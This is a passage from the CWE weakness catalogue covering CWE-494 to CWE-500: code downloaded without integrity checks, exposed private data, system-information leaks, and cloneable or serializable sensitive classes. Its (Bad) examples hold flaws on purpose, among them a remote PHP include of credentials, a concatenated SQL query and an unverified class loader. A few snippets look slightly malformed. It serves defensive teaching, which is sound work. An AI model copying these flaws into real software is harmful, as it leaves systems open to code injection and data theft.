Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-494: Download of Code Without Integrity Check

**Weakness ID** : 494

**Structure** : Simple

**Abstraction** : Base

### Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.





### Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
CanFollow		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Availability	Alter Execution Logic	
Confidentiality	Other	
Other	<i>Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.</i>	

## Detection Methods

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as *truss* (Solaris) and *strace* (Linux); system activity monitors such as *FileMon*, *RegMon*, *Process Monitor*, and other *Sysinternals* utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

## Potential Mitigations

### Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

### Phase: Architecture and Design

### Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Specifically, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic

signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

## Demonstrative Examples

### Example 1:

This example loads an external class from a local subdirectory.

*Example Language: Java*

*(Bad)*

```
URL[] classURLs= new URL[]{
    new URL("file:subdir")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

### Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

*Example Language: PHP*

*(Bad)*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
```

```

mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);
if(mysql_numrows($result) == 1){
    mysql_close();
    return true;
}
else{
    mysql_close();
    return false;
}
}

```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themselves to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

### Observed Examples

Reference	Description
<b>CVE-2019-9534</b>	Satellite phone does not validate its firmware image. <a href="https://www.cve.org/CVERecord?id=CVE-2019-9534">https://www.cve.org/CVERecord?id=CVE-2019-9534</a>
<b>CVE-2021-22909</b>	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). <a href="https://www.cve.org/CVERecord?id=CVE-2021-22909">https://www.cve.org/CVERecord?id=CVE-2021-22909</a>
<b>CVE-2008-3438</b>	OS does not verify authenticity of its own updates. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3438">https://www.cve.org/CVERecord?id=CVE-2008-3438</a>
<b>CVE-2008-3324</b>	online poker client does not verify authenticity of its own updates. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3324">https://www.cve.org/CVERecord?id=CVE-2008-3324</a>
<b>CVE-2001-1125</b>	anti-virus product does not verify automatic updates for itself. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1125">https://www.cve.org/CVERecord?id=CVE-2001-1125</a>
<b>CVE-2002-0671</b>	VOIP phone downloads applications from web sites without verifying integrity. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0671">https://www.cve.org/CVERecord?id=CVE-2002-0671</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf	<b>C</b>	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	<b>C</b>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	<b>C</b>	865	2011 Top 25 - Risky Resource Management	900	2165
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	991	SFP Secondary Cluster: Tainted Input to Environment	888	2209
MemberOf	<b>C</b>	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

### Notes

#### Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns	SFP27		Tainted input to environment

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
184	Software Integrity Attack
185	Malicious Software Download
186	Malicious Software Update
187	Malicious Automated Software Update via Redirection
533	Malicious Manual Software Update
538	Open-Source Library Manipulation
657	Malicious Automated Software Update via Spoofing
662	Adversary in the Browser (AiTB)
691	Spoof Open-Source Software Metadata
692	Spoof Version Control System Commit Metadata
693	StarJacking
695	Repo Jacking

### References

- [REF-454]Microsoft. "Introduction to Code Signing". < [http://msdn.microsoft.com/en-us/library/ms537361\(VS.85\).aspx](http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx) >.
- [REF-455]Microsoft. "Authenticode". < [http://msdn.microsoft.com/en-us/library/ms537359\(v=VS.85\).aspx](http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx) >.
- [REF-456]Apple. "Code Signing Guide". Apple Developer Connection. 2008 November 9. < [http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter\\_1\\_section\\_1.html](http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html) >.
- [REF-457]Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". < <http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-459]Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". 2010 April 5. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/> >.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.
- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-495: Private Data Structure Returned From A Public Method

**Weakness ID** : 495  
**Structure** : Simple  
**Abstraction** : Variant

## Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>The contents of the data structure can be modified from outside the intended scope.</i>	

## Potential Mitigations

### Phase: Implementation

Declare the method private.

### Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

### Phase: Implementation

Use public setter methods that govern how a private member can be modified.

## Demonstrative Examples

### Example 1:

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

*Example Language: Java*

*(Bad)*

```
private String[] colors;
public String[] getColors() {
    return colors;
}
```

### Example 2:



In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++

(Bad)

```
class Color
{
private:
    int[2] colorArray;
    int colorValue;
public:
    Color () : colorArray { 1, 2 }, colorValue (3) { };
    int[2] & fa () { return colorArray; } // return reference to private array
    int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
    Color c;
    c.fa () [1] = 42; // modifies private array element
    c.fv () = 42; // modifies private int
    return 0;
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2121
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Private Array-Typed Field Returned From A Public Method
Software Fault Patterns	SFP23		Exposed Data

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-496: Public Data Assigned to Private Array-Typed Field

**Weakness ID** : 496

**Structure** : Simple

**Abstraction** : Variant

### Description

Assigning public data to a private array is equivalent to giving public access to the array.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>The contents of the array can be modified from outside the intended scope.</i>	

### Potential Mitigations

#### Phase: Implementation

Do not allow objects to modify private members of a class.

### Demonstrative Examples

#### Example 1:

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

*Example Language: Java*

*(Bad)*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
    this.userRoles = userRoles;
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	✓	Page
MemberOf	C	485	7PK - Encapsulation	700	2121
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Public Data Assigned to Private Array-Typed Field
Software Fault Patterns	SFP25		Tainted input to variable

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

**Weakness ID** : 497

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.

### Extended Description




Network-based products, such as web applications, often run on top of an operating system or similar environment. When the product communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the product itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. A product may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484
ParentOf		214	Invocation of Process Using Visible Sensitive Information	525
ParentOf		548	Exposure of Information Through Directory Listing	1189

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

## Demonstrative Examples

### Example 1:

The following code prints the path environment variable to the standard error stream:

*Example Language: C*

*(Bad)*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

### Example 2:

This code prints all of the running processes belonging to the current user.

*Example Language: PHP*

*(Bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$username = getCurrentUser();
$command = 'ps aux | grep ' . $username;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

### Example 3:

The following code prints an exception to the standard error stream:

*Example Language: Java*

*(Bad)*

```
try {
...
} catch (Exception e) {
    e.printStackTrace();
}
```

*Example Language:*

*(Bad)*

```
try {
...
} catch (Exception e) {
    Console.WriteLine(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

#### Example 4:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C#

(Bad)

```
string cs="database=northwind; server=mysqlServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.WriteLine(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		485	7PK - Encapsulation	700	2121
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			System Information Leak
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP23		Exposed Data

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
170	Web Application Fingerprinting
694	System Location Discovery

#### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-498: Cloneable Class Containing Sensitive Information

**Weakness ID** : 498

**Structure** : Simple

**Abstraction** : Variant

### Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.


### Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	484

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
	<i>A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.</i>	

### Potential Mitigations

#### Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw `super.clone()`.

### Demonstrative Examples

**Example 1:**

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
public class CloneClient {
    public CloneClient() //throws
        java.lang.CloneNotSupportedException {
        Teacher t1 = new Teacher("guddu","22,nagar road");
        //...
        // Do some stuff to remove the teacher.
        Teacher t2 = (Teacher)t1.clone();
        System.out.println(t2.name);
    }
    public static void main(String args[]) {
        new CloneClient();
    }
}
class Teacher implements Cloneable {
    public Object clone() {
        try {
            return super.clone();
        }
        catch (java.lang.CloneNotSupportedException e) {
            throw new RuntimeException(e.toString());
        }
    }
    public String name;
    public String clas;
    public Teacher(String name,String clas) {
        this.name = name;
        this.clas = clas;
    }
}
```

Make classes uncloneable by defining a clone function like:

*Example Language: Java*

*(Good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
    throw new java.lang.CloneNotSupportedException();
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	<input type="checkbox"/>	844 2157
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 2327
MemberOf	<input checked="" type="checkbox"/>	963	SFP Secondary Cluster: Exposed Data	<input type="checkbox"/>	888 2193
MemberOf	<input checked="" type="checkbox"/>	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	<input type="checkbox"/>	1133 2239

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through class cloning



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP23		Exposed Data

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-499: Serializable Class Containing Sensitive Data

**Weakness ID** : 499

**Structure** : Simple

**Abstraction** : Variant

### Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.



### Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	484

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>an attacker can write out the class to a byte stream, then extract the important data from it.</i>	

### Potential Mitigations

#### Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

#### Phase: Implementation

Make sure to prevent serialization of your objects.

## Demonstrative Examples

### Example 1:

This code creates a new record for a medical patient:

Example Language: Java

(Bad)

```
class PatientRecord {
    private String name;
    private String socialSecurityNum;
    public Patient(String name,String ssn) {
        this.SetName(name);
        this.SetSocialSecurityNumber(ssn);
    }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2244

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through serialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER05-J		Do not serialize instances of inner classes
Software Fault Patterns	SFP23		Exposed Data

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-500: Public Static Field Not Marked Final

**Weakness ID** : 500  
**Structure** : Simple  
**Abstraction** : Variant

### Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

## Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		493	Critical Public Variable Without Final Modifier	1117

## Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

## Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>The object could potentially be tampered with.</i>	
Confidentiality	Read Application Data <i>The object could potentially allow the object to be read.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

### Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and 'final' in Java

## Demonstrative Examples

### Example 1:

The following examples use of a public static String variable to contain the name of a property/configuration file for the application.

*Example Language: C++*

*(Bad)*

```
class SomeAppClass {
    public:
        static string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java

(Bad)

```
public class SomeAppClass {
    public static String appPropertiesFile = "app/Application.properties";
    ...
}
```

